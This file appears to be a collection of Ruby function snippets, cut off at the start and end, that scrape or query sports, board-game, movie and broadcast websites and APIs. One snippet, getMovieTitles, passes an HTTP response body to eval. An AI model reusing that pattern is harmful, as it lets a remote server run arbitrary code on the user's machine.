linkHref[\"href\"].scan(/(.*=)(\\d+)/)\n gameID = link[0][1] \n if(Game.where(gameID: gameID).empty?)\n # get Date\n date = row.css(\"td\")[0].text\n # get opp\n opp = row.css('li[@class =\"team-name\"]').text\n # get HOME/away (vs/@)\n loc = row.css('li[@class =\"game-status\"]').text\n if(loc == \"@\")\n homeTeam = team.name\n awayTeam = opp\n else\n homeTeam = opp\n awayTeam = team.name\n end\n \n # Creates Game Entry\n game = Game.create(gameID: gameID, date: date, homeTeam: homeTeam, awayTeam: awayTeam)\n # Gets more game stats\n get_game_stats(game)\n end\n end\n end\n end\n end", "def get_each_player()\n\n player_table = '//*[@id=\"player-table-statistics-body\"]'\n row_count = $browser.element(:xpath => player_table).wait_until.trs.count\n player_links = {}\n\n for i in 1..row_count do\n player_path = $browser.element(:xpath => player_table + '/tr[' + i.to_s + ']/td[3]/a')\n player_name = player_path.inner_html\n player_link = player_path.parent.a.href\n player_links.store(player_name, player_link)\n end\n #puts player_links\n return player_links\nend", "def make_players(website)\n player_scrape = Nokogiri::HTML(open(website))\n\n player_scrape.css('tr').each do |player_row|\n player_first = player_row.css('td:first-child').text\n\n player_last = player_row.css('td:nth-child(2)').text\n\n player_nat = player_row.css('td:nth-child(3)').text\n\n player_level = player_row.css('td:nth-child(4)').text\n p = Player.create(\n :first_name => player_first,\n :last_name => player_last,\n :full_name => \"#{player_first} #{player_last}\",\n :nationality => player_nat,\n :pro_club_level => player_level\n )\n end\nend", "def get_details(game) \n\n # HTML.parse is used here to clean up HTML codes like &nbsp; and line breaks\n game.description = Nokogiri::HTML.parse(@doc.css('description').text).text\n\n # These items are pretty easy to grab\n game.minplayers = @doc.css('minplayers')[0]['value']\n game.maxplayers = @doc.css('maxplayers')[0]['value']\n game.minplaytime = @doc.css('minplaytime')[0]['value'] \n game.maxplaytime = @doc.css('maxplaytime')[0]['value'] \n game.minage = @doc.css('minage')[0]['value'] \n\n # Pull the various types of item out of <link> into respective arrays\n game.category = @doc.css('link').select{|link| link['type']==\"boardgamecategory\"}.collect{|link| link['value']}\n game.mechanic = @doc.css('link').select{|link| link['type']==\"boardgamemechanic\"}.collect{|link| link['value']}\n game.publisher = @doc.css('link').select{|link| link['type']==\"boardgamepublisher\"}.collect{|link| link['value']}\n game.designer = @doc.css('link').select{|link| link['type']==\"boardgamedesigner\"}.collect{|link| link['value']}\n\n # The URL formula isn't via API. It's just boardgamegeek's URL scheme.\n game.url = \"https://boardgamegeek.com/boardgame/#{game.id}\"\n end", "def get_pokemon_moves()\n moves = []\n url = \"https://pokemondb.net/move/all\"\n page = HTTParty.get(url)\n parse_page = Nokogiri::HTML(page)\n parse_page.css('.ent-name').map do |a|\n moves.push(a.text)\n end\n return moves\nend", "def getPlays(oStatsProxy, iMechanizeAgent, iUserID)\n # Get the Ajax stats table\n lStatsTable = iMechanizeAgent.get(\"http://www.reverbnation.com/artist/new_stats_song_plays_table/#{iUserID}?all_time=true\")\n lStatsTableNode = Nokogiri::HTML(lStatsTable.content[36..-4].gsub(/\\\\\"/,'\"').gsub(/\\\\n/,\"\\n\").gsub(/\\\\r/,''))\n # Screen scrap it\n lLstSongsRead = []\n lStatsTableNode.css('table.statstable_full tr')[1..-3].each do |iSongNode|\n lNodeContents = iSongNode.css('td')\n lSongTitle = lNodeContents[1].content\n lNbrSongPlays = Integer(lNodeContents[3].content)\n lNbrSongDownloads = Integer(lNodeContents[4].content)\n lPlayRatio = Integer(lNodeContents[5].content.match(/^(\\d*)%$/)[1])\n# lMatch = lNodeContents[6].content.match(/^(\\d*)\\/(\\d*)$/)\n# lNbrLikes = Integer(lMatch[1])\n# lNbrDislikes = Integer(lMatch[2])\n oStatsProxy.add_stat(lSongTitle, 'Song plays', lNbrSongPlays)\n oStatsProxy.add_stat(lSongTitle, 'Song downloads', lNbrSongDownloads)\n oStatsProxy.add_stat(lSongTitle, 'Song play ratio', lPlayRatio)\n# oStatsProxy.add_stat(lSongTitle, 'Song likes', lNbrLikes)\n# oStatsProxy.add_stat(lSongTitle, 'Song dislikes', lNbrDislikes)\n lLstSongsRead << lSongTitle\n end\n log_debug \"#{lLstSongsRead.size} songs read: #{lLstSongsRead.join(', ')}\"\n end", "def parse(receivedData)\n\t\tresult = []\n\t\tdoc = NSXMLDocument.alloc.initWithData(receivedData,\n\t\t\t\t\t\t\t\t\t\t\t\toptions:NSXMLDocumentValidate,\n\t\t\t\t\t\t\t\t\t\t\t\terror:nil)\n\t\tif doc\n\t\t\tgames = doc.nodesForXPath(\"*/boardgame\", error: nil)\n\t\t\tNSLog(\"Found : #{games.size} games\")\n\t\t\tresults = games.map do |g|\n\t\t\t\tgame_id = g.attributeForName(\"objectid\").stringValue\n\t\t\t\tNSLog(\"game id : #{game_id}\");\n\t\t\t\t{\n\t\t\t\t\t:name => g.nodesForXPath(\"name\", error: nil).first.stringValue(),\n\t\t\t\t\t:url => NSURL.URLWithString(\"http://www.boardgamegeek.com/boardgame/#{game_id}\")\n\t\t\t\t}\n\t\t\t\t\n\t\t\tend\n\t\tend\n\tend", "def get_urls_to_retrieve(d1)\n urls = []\n\n if (d1==nil || d1 ==\"\")\n t = DateTime.now\n d = t.strftime(\"%Y/%m/%d\")\n else\n d = d1\n end\n pt1 = \"http://www.bbc.co.uk/\"\n pt2 = \"/programmes/schedules/\"\n\n channel = \"bbcone\"\n url = \"#{pt1}#{channel}#{pt2}london/#{d}.json\"\n urls.push(url)\n\n channel = \"bbctwo\"\n url = \"#{pt1}#{channel}#{pt2}england/#{d}.json\"\n urls.push(url)\n\n channel = \"bbcthree\"\n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n channel = \"bbcfour\"\n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n channel = \"bbchd\"\n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n channel = \"cbeebies\"\n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n channel = \"cbbc\"\n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n channel = \"parliament\"\n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n channel = \"bbcnews\"\n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n channel = \"radio4\"\n url = \"#{pt1}#{channel}#{pt2}fm/#{d}.json\"\n\n channel = \"radio1\"\n url = \"#{pt1}#{channel}#{pt2}england/#{d}.json\"\n\n channel = \"1extra\"\n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n channel = \"radio2\"\n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n channel = \"radio3\"\n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n channel = \"5live\" \n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n channel = \"5livesportsextra\"\n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n channel = \"6music\"\n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n channel = \"asiannetwork\"\n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n channel = \"worldservice\"\n url = \"#{pt1}#{channel}#{pt2}#{d}.json\"\n urls.push(url)\n\n return urls\n end", "def get_games(year, input)\r\n page = 1\r\n query = 'https://www.balldontlie.io/api/v1/games' + '?seasons[]=' + year.to_s + '&team_ids[]=' + input.to_s + '&page=' + page.to_s\r\n response_meta = HTTParty.get(query)[\"meta\"]\r\n response_data = HTTParty.get(query)[\"data\"]\r\n total_pages = response_meta[\"total_pages\"]\r\n games_hash = {}\r\n\r\n while page <= total_pages\r\n\r\n #Go back and maximize the per_page limit to minimize the number of calls\r\n query = 'https://www.balldontlie.io/api/v1/games' + '?seasons[]=' + year.to_s + '&team_ids[]=' + input.to_s + '&page=' + page.to_s + '&per_page=50'\r\n HTTParty.get(query)[\"data\"].each do |i|\r\n\r\n\r\n #change formatting of date\r\n date = i[\"date\"].split(\"-\")\r\n day_value = date[2].split(/T/).shift\r\n key_date = \"#{date[0]}/#{date[1]}/#{day_value}\"\r\n formatted_date = \"#{date[1]}/#{day_value}/#{date[0]}\"\r\n\r\n \r\n\r\n games_hash[key_date] = {\r\n \"date\" => formatted_date,\r\n \"home_team\" => i[\"home_team\"][\"full_name\"],\r\n \"visitor_team\" => i[\"visitor_team\"][\"full_name\"],\r\n \"home_team_score\" => i[\"home_team_score\"],\r\n \"visitor_team_score\" => i[\"visitor_team_score\"]\r\n }\r\n \r\n\r\n end\r\n page += 1 \r\n end\r\n games_hash\r\n end", "def get_games_url\n \"#{@user_url}/games/?tab=all\"\n end", "def tracks_for_url(url)\n sleep SLEEPTIME\n Nokogiri::HTML(open(url))\n .css(@options['base_selector'])\n .map { |s| scrobble_info(s) }\n end", "def fetch_league_stats(params={})\n\n url_params = {\n # dates are inclusive\n 'DateFrom' => [''], # '02/01/2015'\n 'DateTo' => [''],\n 'GameScope' => [''],\n 'GameSegment' => [''],\n 'LastNGames' => ['0'],\n 'LeagueID' => ['00'],\n 'Location' => [''],\n 'MeasureType' => ['Advanced'], # 'Base', 'Advanced', 'Four Factors',\n 'Month' => ['0'],\n 'OpponentTeamID' => ['0'],\n 'Outcome' => [''],\n 'PaceAdjust' => ['N'],\n 'PerMode' => ['Totals'],\n 'Period' => ['0'],\n 'PlayerExperience' => [''],\n 'PlayerPosition' => [''],\n 'PlusMinus' => ['N'],\n 'Rank' => ['N'],\n 'Season' => ['2014-15'],\n 'SeasonSegment' => [''],\n 'SeasonType' => ['Regular Season'],\n 'StarterBench' => [''],\n 'VsConference' => [''],\n 'VsDivision' => ['']}\n\n url_params = merge_valid_params(\n url_params,\n {'MeasureType' => ['Base', 'Advanced', 'Four Factors'],\n 'Season' => ['2013-14', '2014-15', '2015-16', '2016-17', '2017-18']\n },\n params\n )\n unless params['DateFrom'].nil?\n url_params['DateFrom'] = params['DateFrom']\n end\n unless params['DateTo'].nil?\n url_params['DateTo'] = params['DateTo']\n end\n\n fetch_cached_url('http://stats.nba.com/stats/leaguedashteamstats', url_params)\n # example_url = 'http://stats.nba.com/stats/leaguedashteamstats?Conference=&DateFrom=12%2F01%2F2017&DateTo=&Division=&GameScope=&GameSegment=&LastNGames=0&LeagueID=00&Location=&MeasureType=Advanced&Month=0&OpponentTeamID=0&Outcome=&PORound=0&PaceAdjust=N&PerMode=PerGame&Period=0&PlayerExperience=&PlayerPosition=&PlusMinus=N&Rank=N&Season=2017-18&SeasonSegment=&SeasonType=Regular+Season&ShotClockRange=&StarterBench=&TeamID=0&VsConference=&VsDivision='\n # y = 'http://stats.nba.com/stats/leaguedashteamstats?DateFrom=&DateTo=&GameScope=&GameSegment=&LastNGames=0&LeagueID=00&Location=&MeasureType=Advanced&Month=0&OpponentTeamID=0&Outcome=&PaceAdjust=N&PerMode=Totals&Period=0&PlayerExperience=&PlayerPosition=&PlusMinus=N&Rank=N&Season=2014-15&SeasonSegment=&SeasonType=Regular+Season&StarterBench=&VsConference=&VsDivision='\nend", "def game_list\n \n # Get the data and create a new instance of \n # Game for each item in the main list\n @doc.css('item').each do |item|\n name = item.css('name')[0]['value']\n rank = item['rank']\n id = item['id']\n year = item.css('yearpublished')[0]['value']\n\n # Create a new instance of Game with item data\n game = BggHotnessCLI::Game.new(name, id, year, rank)\n end\n\n end", "def getPlayers(position,type)\n if type == \"postdraft\"\n begin\n if position == \"Full\"\n @response = (RestClient.get \"https://fantasysports.yahooapis.com/fantasy/v2/league/nhl.l.#{params[:leagueid]}/players;status=W;start=0;count=25;sort=AR;\", :authorization => \"Bearer #{params[:token]}\")\n else\n @response = (RestClient.get \"https://fantasysports.yahooapis.com/fantasy/v2/league/nhl.l.#{params[:leagueid]}/players;status=W;start=0;count=25;sort=AR;position=#{position}\", :authorization => \"Bearer #{params[:token]}\")\n end\n @waivers.push(*Hash.from_xml(@response.body)['fantasy_content']['league']['players']['player']) \n for i in 0..2 do\n if position == \"Full\"\n @response = (RestClient.get \"https://fantasysports.yahooapis.com/fantasy/v2/league/nhl.l.#{params[:leagueid]}/players;status=FA;start=#{i*25};count=25;sort=AR;\", :authorization => \"Bearer #{params[:token]}\")\n else\n @response = (RestClient.get \"https://fantasysports.yahooapis.com/fantasy/v2/league/nhl.l.#{params[:leagueid]}/players;status=FA;start=#{i*25};count=25;sort=AR;position=#{position}\", :authorization => \"Bearer #{params[:token]}\")\n end\n @freeagents.push(*Hash.from_xml(@response.body)['fantasy_content']['league']['players']['player']) \n end\n getFAInfo(\"Yes\",@waivers)\n getFAInfo(\"No\",@freeagents)\n rescue\n @freeagents = []\n for i in 0..3 do\n if position == \"Full\"\n @response = (RestClient.get \"https://fantasysports.yahooapis.com/fantasy/v2/league/nhl.l.#{params[:leagueid]}/players;status=A;start=#{i*25};count=25;sort=AR;\", :authorization => \"Bearer #{params[:token]}\")\n else\n @response = (RestClient.get \"https://fantasysports.yahooapis.com/fantasy/v2/league/nhl.l.#{params[:leagueid]}/players;status=A;start=#{i*25};count=25;sort=AR;position=#{position}\", :authorization => \"Bearer #{params[:token]}\")\n end\n @freeagents.push(*Hash.from_xml(@response.body)['fantasy_content']['league']['players']['player']) \n end\n getFAInfo(\"No\",@freeagents)\n end\n else\n @freeagents = []\n for i in 0..5 do\n if position == \"Full\"\n @response = (RestClient.get \"https://fantasysports.yahooapis.com/fantasy/v2/league/nhl.l.#{params[:leagueid]}/players;status=A;start=#{i*25};count=25;sort=OR;\", :authorization => \"Bearer #{params[:token]}\")\n else\n @response = (RestClient.get \"https://fantasysports.yahooapis.com/fantasy/v2/league/nhl.l.#{params[:leagueid]}/players;status=A;start=#{i*25};count=25;sort=OR;position=#{position}\", :authorization => \"Bearer #{params[:token]}\")\n end\n @freeagents.push(*Hash.from_xml(@response.body)['fantasy_content']['league']['players']['player']) \n end\n getFAInfo(\"N/A\",@freeagents)\n end\nend", "def list_games\n if @input == 1\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/action/all')\n elsif @input == 2\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/adventure/all')\n elsif @input == 3\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/fighting/all')\n elsif @input == 4\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/first-person/all')\n elsif @input == 5\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/flight/all')\n elsif @input == 6\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/party/all')\n elsif @input == 7\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/platformer/all')\n elsif @input == 8\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/puzzle/all')\n elsif @input == 9\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/racing/all')\n elsif @input == 10\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/real-time/all')\n elsif @input == 11\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/role-playing/all')\n elsif @input == 12\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/simulation/all')\n elsif @input == 13\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/sports/all')\n elsif @input == 14\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/strategy/all')\n elsif @input == 15\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/third-person/all')\n elsif @input == 16\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/turn-based/all')\n elsif @input == 17\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/wargame/all')\n elsif @input == 18\n create_and_list('https://www.metacritic.com/browse/games/genre/metascore/wrestling/all')\n elsif (1..18).include?(@input) == false\n puts \"Please enter a valid number (1-18)\"\n CLI.new.call\n end\n end", "def get_player_page(player_id)\n page = Array.new\n begin\n open(\"http://eu.finalfantasyxiv.com/lodestone/character/#{player_id}/\") do |f|\n f.each_line { |line| page.push line }\n end\n rescue\n #puts \"ID: #{player_id} does not exist\"\n return false\n end\n return page\n end", "def get_player_page(player_id)\n page = Array.new\n begin\n open(\"http://eu.finalfantasyxiv.com/lodestone/character/#{player_id}/\") do |f|\n f.each_line { |line| page.push line }\n end\n rescue\n #puts \"ID: #{player_id} does not exist\"\n return false\n end\n return page\n end", "def fetch_movies_url\n # Visiter le site imdb: https://www.imdb.com/chart/top\n raw_html = URI.open(IMDB_TOP_CHART_URL).read\n # Utiliser nokogiri pour parser le fichier html recu\n html_doc = Nokogiri::HTML(raw_html)\n urls = []\n\n # Rechercher avec nokogiri les urls des 5 premiers films\n html_doc.search('.titleColumn a').first(5).each do |link|\n # Stocker dans un tableau\n urls << \"https://www.imdb.com#{link.attribute('href').value}\"\n end\n\n urls\nend", "def create_and_list(url)\n Scraper.create_games_from_list(url)\n game_list\n puts \"If you would like more information about a specific game, enter the game's number.\"\n input = gets.strip\n input = input.to_i\n if (1..18).include?(input) == true\n Game.game_list_detail(input)\n end\n end", "def players\n parse_domain_top '/UserList.aspx', 'lnkUserInfo'\n end", "def parse_and_find_games(search_tag) \n games = \"\"\n if search_tag.include?(\"[\")\n name = search_tag.split(\"[\").first\n platform = search_tag.split(\"[\")[1].gsub(/[\"\\[\\]\"]/,\"\") \n games = [Game.find_by_name_and_platform(name.strip,platform)]\n else \n #games = Game.name_or_platform_like(search_tag)\n games = Game.search({\"name_cont\" => search_tag}).result\n end \n games\n end", "def get_players\n Team.all.each do |team|\n loc = team.home_url.index('/_/')\n url = team.home_url.insert(loc, '/roster')\n doc = Nokogiri::HTML(open(url))\n players = doc.css('div.mod-content tr.oddrow, div.mod-content tr.evenrow')\n players.each do |player|\n player_url = player.css('td a').attr('href').to_s\n espn_id = player_url[player_url.index('/_/id/') + 6, 7]\n name = player.css('td')[1].text\n height = player.css('td')[3].text\n height_array = height.split('-')\n height = (height_array.first.to_i * 12 ) + height_array.last.to_i\n new_player = Player.find_or_initialize_by(espn_id: espn_id)\n new_player.team = team\n new_player.number = player.css('td')[0].text\n new_player.first_name = name.rpartition(' ').first\n new_player.last_name = name.rpartition(' ').last\n new_player.position = player.css('td')[2].text\n new_player.height = height\n new_player.weight = player.css('td')[4].text\n new_player.year = player.css('td')[5].text\n new_player.hometown = player.css('td')[6].text\n new_player.save\n end\n end\n redirect_to teams_path \n end", "def sport_players(sport_id, season, **options) = get(\"/sports/#{sport_id}/players\", **options.merge(season:))", "def main_game\n # Add the following information :\n my_game = 'Street_fighter_V'\n my_style = 'combat'\n # End\n row_max = 2\n\n url = my_url_game(my_game)\n browser = Watir::Browser.new :chrome, scrapping_options\n scrap_game(url, browser, my_game, my_style, row_max)\n row_max += 100\nend", "def run\n puts url\n html = Games::FetchHtml.run(url: url)\n games = parse_html(html)\n return \"No data for #{date} #{sport}\" if games.nil?\n save_wunder_data(games)\n end", "def scraper(url2)\n dataUrl = Nokogiri::HTML(open(url2))\n linksUrl = dataUrl.css('div#leftContainer')\n \n linksUrl.each do |review|\n arr = []\n # name\n arr << review.css('span.fn').text.strip\n # neighborhood\n #arr << review.css('span.neighborhood').text.strip\n # street-address\n arr << review.css('div.h5').first.text.strip.split(\"Send\").first\n # street-address\n #arr << review.css('span.locality').text.strip\n # price rating\n arr << review.css('span.pricerange').text.strip\n # rating\n arr << review.css('span.value').text.strip\n #blurb\n arr << review.css('span#blurb').text.strip\n\n return arr\n end \nend", "def fetch_movie_urls\n url = \"https://www.imdb.com/chart/top\"\n doc = Nokogiri::HTML(open(url).read)\n movies = doc.search(\".titleColumn a\")[0...5]\n movies.map do |movie_link|\n end_url = movie_link.attribute(\"href\").value\n \"http://www.imdb.com#{end_url}\"\n\n end\n\nend", "def extract_badgecriteria()\n@badgecriteria_array = []\n file = File.open('app/assets/post.html')\n doc = Nokogiri::HTML(file)\n doc.search('.mb_div a').map do |element|\n criteria_url = \"http://www.boyscouttrail.com/boy-scouts/\" + element['href']\n @badgecriteria_array << criteria_url\n end\n return @badgecriteria_array\nend", "def getGamesPlayedArray()\n standings = JSON.parse((RestClient.get \"https://statsapi.web.nhl.com/api/v1/standings\"))[\"records\"]#[0][\"teamRecords\"][0]\n for division in standings\n divisionRecords = division[\"teamRecords\"]\n for team in divisionRecords\n teamName = team[\"team\"][\"name\"]\n if teamName.include? \"Canadiens\"\n teamName = \"Montreal Canadiens\"\n end\n @games_played[teamName] = team[\"gamesPlayed\"]\n end\n end\n @games_played[\"N/A\"] = 82\nend", "def parse_games(doc)\n doc.css('tr').each do |row|\n row.css('td.ind').each do |column|\n column.css('a').each do |game|\n if game.content.start_with?('W ', 'L ') #found a game!\n @current_week = @current_week + 1\n #split the field into the parts we need\n temp = game.content.split(' ')\n @win_lose = temp.first\n @score = temp.last\n\n #find the espn game number to build the URL for later\n temp = game.to_s\n @url_num = temp.match('gameId=(.*)&')[1]\n $log.info(\"Found week #{ @current_week } score info.\")\n end\n\n #debug output\n $log.debug(game.content)\n end\n end\n end\n\n #debug output\n $log.debug(@current_week)\n $log.debug(@win_lose)\n $log.debug(@score)\n $log.debug(@url_num)\n end", "def scraper(url2)\n dataUrl = Nokogiri::HTML(open(\"http://www.timeout.com#{url2}\"))\n linksUrl = dataUrl.css('#content')\n \n linksUrl.each do |review|\n arr = []\n # name\n arr << review.css('h1.listing_page_title').text.strip\n # neighborhood\n arr << review.css('span.listings_flag').text.strip\n # street-address\n #arr << review.css('span.street-address').text.strip\n # summary\n arr << review.css('h2.review__summary').text.strip\n # food rating\n arr << review.css('ul.star_rating li.sr-only').text[0]\n #cost rating\n arr << review.css('span.listings_flags__price li.icon_highlight').count\n\n return arr\n end \nend", "def getMovieTitles titles\n url_base = URI('https://jsonmock.hackerrank.com/api/movies/search/?Title=spiderman&page=')\n page_num = 1\n limit = 100\n max_pages_reached = false\n while !max_pages_reached\n params = { :per_page => limit, :page => page_num }\n url_base.query = URI.encode_www_form(params)\n\n p url_base\n\n res = Net::HTTP.get_response(url_base)\n res_str = eval(res.body) if res.is_a?(Net::HTTPSuccess)\n res_str[:data].each { |v| titles << v[:Title] unless v[:Title].nil? }\n\n if params[:page] == res_str[:total_pages]\n max_pages_reached = true\n else\n page_num += 1\n end\n end\nend", "def nokogiriGetGuideLinksWithTitles(game_title)\n # Setup\n link_titles = []\n# game = Game.new(title: game_title.titleize)\n game = Game.find_or_initialize_by_title_and_site_id(game_title.titleize, self.id)\n game.guide_links = []\n \n\n ############ Change web search to be more expansive in nokogiri search and then use sunspot/solr full text searching to whittle that down and/or rank the results.\n #############\n \n # Look up Nokogiri info for this site\n query = URI.escape(game_title + \" guide\") \n search_query_str = \"http://\" + base_url + search_string + query\n \n doc = Nokogiri::HTML(open(search_query_str))\n results = doc.css(CSS_SELECTORS[name])\n \n # Iterate through all the search results finding the title and url for each \n # guide link found on the site (Only add url if title is not nil) \n results.each do |r|\n link_title = strip_tags(look_up_title(r))\n if link_title\n link_titles << link_title\n game.guide_links << look_up_link(r)\n end\n end\n \n # Store new game data for site_id\n self.games << game \n \n # Return hash of resultant arrays of link titles & link url's for display\n return {\"titles\"=>link_titles, \"links\"=>game.guide_links}\n\n end", "def make_request\n doc_content = open(\"#{@baseurl}#{@path}#{@gamer}#{@gamepath}\", \"User-Agent\" => @user_agent)\n @doc = Nokogiri::HTML( doc_content )\n res = self.reformat_games( self.get_json )\n res\n end", "def players\n results = get_parts(\"status\", 2..-1)\n results.map do |player|\n player = player.split(\" \", 3)\n {\n :name => player[2][1..-2],\n :ping => player[1].to_i,\n :score => player[0].to_i\n }\n end\n end", "def scrape_champions\n\t\t@doc.css('center table tr').map do |tr|\n\t\t\tname = tr.css('td a:nth-child(2)').text.strip\n\t\t\tbans = tr.css('td:nth-child(2)').text.strip.to_i\n\t\t\tpicks = tr.css('td:nth-child(3)').text.strip.to_i\n\t\t\twins = tr.css('td:nth-child(4)').text.strip.to_i\n\t\t\tlosses = tr.css('td:nth-child(5)').text.strip.to_i\n\t\t\tChampion.new(name, bans, picks, wins, losses)\n\t\tend\n\tend", "def initialize_roster \n Nokogiri::HTML(open(@url)).css(\"tbody tr\").each do |tr|\n hash = {name: \"\", number: \"\", unit: \"\", position: \"\", height: \"\", weight: \"\", age: \"\", team: self, url: \"\"}\n array = tr.css(\"td\")[0..5]\n hash[:name] = array[0].css('a').attribute('title').value\n hash[:number] = array[1].text.strip.to_i\n hash[:position] = array[2].text.strip\n hash[:height] = array[3].text.strip\n hash[:weight] = array[4].text.strip.to_i\n hash[:age] = array[5].text.strip.to_i\n hash[:url] = @url + tr.css(\"a\").attribute(\"href\").value.split(\"/\")[-1] + \"/\"\n new_player = Player.new(hash)\n @roster << new_player\n end\n @roster\n end", "def scrape_top_5_movies_from_imdb\n html_file = open(\"#{IMDB_URL}chart/top\").read\n html_doc = Nokogiri::HTML(html_file)\n\n movies_array = []\n\n html_doc.search(\".titleColumn\")[0..4].each do |element|\n href = element.search('a').attribute('href').value\n title = element.search('a').text.strip\n\n movies_array << { title: title, href: href }\n end\n\n movies_array\nend", "def get_all_the_urls_of_val_doise_townhalls(x)\n doc = Nokogiri::HTML(open(x))\n doc.css('.lientxt').each do |url|\n Tab_url.push(\"http://annuaire-des-mairies.com\" + (url[\"href\"][1..-1]))\n end\n Tab_url\nend", "def player_numbers (name=\"Brooklyn Nets\")\n n = []\n game_hash.each do |location, team_data|\n if(team_data[:team_name] == name)\n team_data[:players].each do |key, data|\n n << data[:number]\n end\n end\n end\n\n n\nend", "def get_results(url) #pass url in as argument\n scraper = make_scraper\n url=\"https://www.dice.com/jobs?q=rails&l=Washington%2C+DC&searchid=7137101740189\"\n page = scraper.get(url)\n end", "def getArticleWithHTML(showURL)\n\tpage = Nokogiri::HTML(open(showURL))\n\tshowTitle = page.css('td#contentTd table td h3 strong.title').text.strip\n\tshowDescription = page.css('td#contentTd p').text.strip\n\tepisodeTable = page.css('td#contentTd table td a.hmenu')\n\tepisodeTitle = []\n\tepisodeURL = []\n\tepisodeDate = []\n\tepisodeMaster = []\n\tepisodeDesc = []\n\t\t\n\tepisodeTable.each do |t|\n\t\tepisodeURL.push('http://www.moneyradio.org/'+t['href'])\n\t\ttitleText = t.text.strip\n\t\tputs titleText\n\tend\n\tf = 0\n\t#episodeURL = episodeURL[0..4]\n\tepisodeURL.each do |c|\n\t\tarticlePage = Nokogiri::HTML(open(c))\n\t\tcontent = articlePage.css('td#contentTd p').text.strip\n\t\tputs content\n\t\tepisodeDesc.push(content)\n\t\t#puts f.to_s\n\t\t#puts episodeTitle[f]\n\t\tsleep(3)\n\t\tf = f+1\n\tend\n\t#puts \"title: \"+episodeTitle.length.to_s + \"content: \"+episodeDesc.length.to_s\n\tk = 0\n\tepisodeURL.each do |j|\n\t\tepisode = EpisodePage.new\n\t\tepisode.name = episodeTitle[k]\n\t\tepisode.date = ''\n\t\t#episode.url = j\n\t\tepisode.desc = episodeDesc[k]\n\t\tk = k + 1\n\t\tepisodeMaster.push(episode)\n\tend\n\treturn episodeMaster\nend", "def get_game_stats(game)\n agent = Mechanize.new\n html = agent.get(\"http://espn.go.com/ncb/boxscore?gameId=#{game.gameID}\").body\n doc = Nokogiri::HTML(html)\n\n awayRecs = doc.xpath(\"//div[@class = 'team-info']\").css(\"p\")[0].text\n awayOvrRaw = awayRecs.scan(/(\\d+)-(\\d+),.*/)\n if(awayOvrRaw != [] )\n awayOvrPer = awayOvrRaw[0][0].to_f / (awayOvrRaw[0][1].to_f + awayOvrRaw[0][0].to_f)\n else\n awayOvrPer = 0.05\n end\n awayRaw = awayRecs.scan(/.*, (\\d+)-(\\d+)/)\n if(awayRaw != [])\n awayPer = awayRaw[0][0].to_f / (awayRaw[0][1].to_f + awayRaw[0][0].to_f)\n else\n awayPer = 0.05 \n end\n homeRecs = doc.xpath(\"//div[@class = 'team-info']\").css(\"p\")[1].text\n homeOvrRaw = homeRecs.scan(/(\\d+)-(\\d+),.*/)\n if(homeOvrRaw != [])\n homeOvrPer = homeOvrRaw[0][0].to_f / (homeOvrRaw[0][1].to_f + homeOvrRaw[0][0].to_f) \n else\n homeOvrPer = 0.05\n end\n homeRaw = homeRecs.scan(/.*, (\\d+)-(\\d+)/)\n if(homeRaw != [])\n homePer = homeRaw[0][0].to_f / (homeRaw[0][1].to_f + homeRaw[0][0].to_f)\n else\n homePer = 0.05\n end\n # Find the table with information\n table = doc.xpath('//table[@class = \"mod-data\"]')\n rows = table.css('tbody')\n\n # Declare variables\n isHome = false\n homePoints = 0\n awayPoints = 0\n\n # Get data for game\n rows.each do |row|\n col = row.css('td')\n if(col.count == 18)\n fg = col[1].text.scan((/(\\d+)-(\\d+)/)) \n fgm = fg[0][0].to_f\n fga = fg[0][1].to_f\n fgPer = fgm / fga\n\n threeP = col[2].text.scan((/(\\d+)-(\\d+)/))\n threePM = threeP[0][0].to_f\n threePA = threeP[0][1].to_f\n threePer = threePM / threePA\n\n twoPM = fgm - threePM\n twoPA = fga - threePA\n twoPer = twoPM.to_f / twoPA.to_f\n\n ft = col[3].text.scan((/(\\d+)-(\\d+)/))\n ftm = ft[0][0].to_f\n fta = ft[0][1].to_f\n ftPer = ftm / fta\n\n offReb = col[4].text.to_f\n defReb = col[5].text.to_f\n totReb = col[6].text.to_f\n assists = col[7].text.to_f\n steals = col[8].text.to_f\n blocks = col[9].text.to_f\n to = col[10].text.to_f\n pf = col[11].text.to_f\n\n points = col[12].text.to_f\n pps = points / fga\n adjFG = ((points - ftm)/ fga)/ 2\n\n apto = assists / to\n spto = steals / to\n spf = steals / pf\n bpf = blocks / pf\n \n # Updates specific game entry with newly scraped data\n if(isHome)\n game.update(homePoints: points, homefgm: fgm, homefga: fga, homefgPer: fgPer, hometwoMade: twoPM, hometwoAtt: 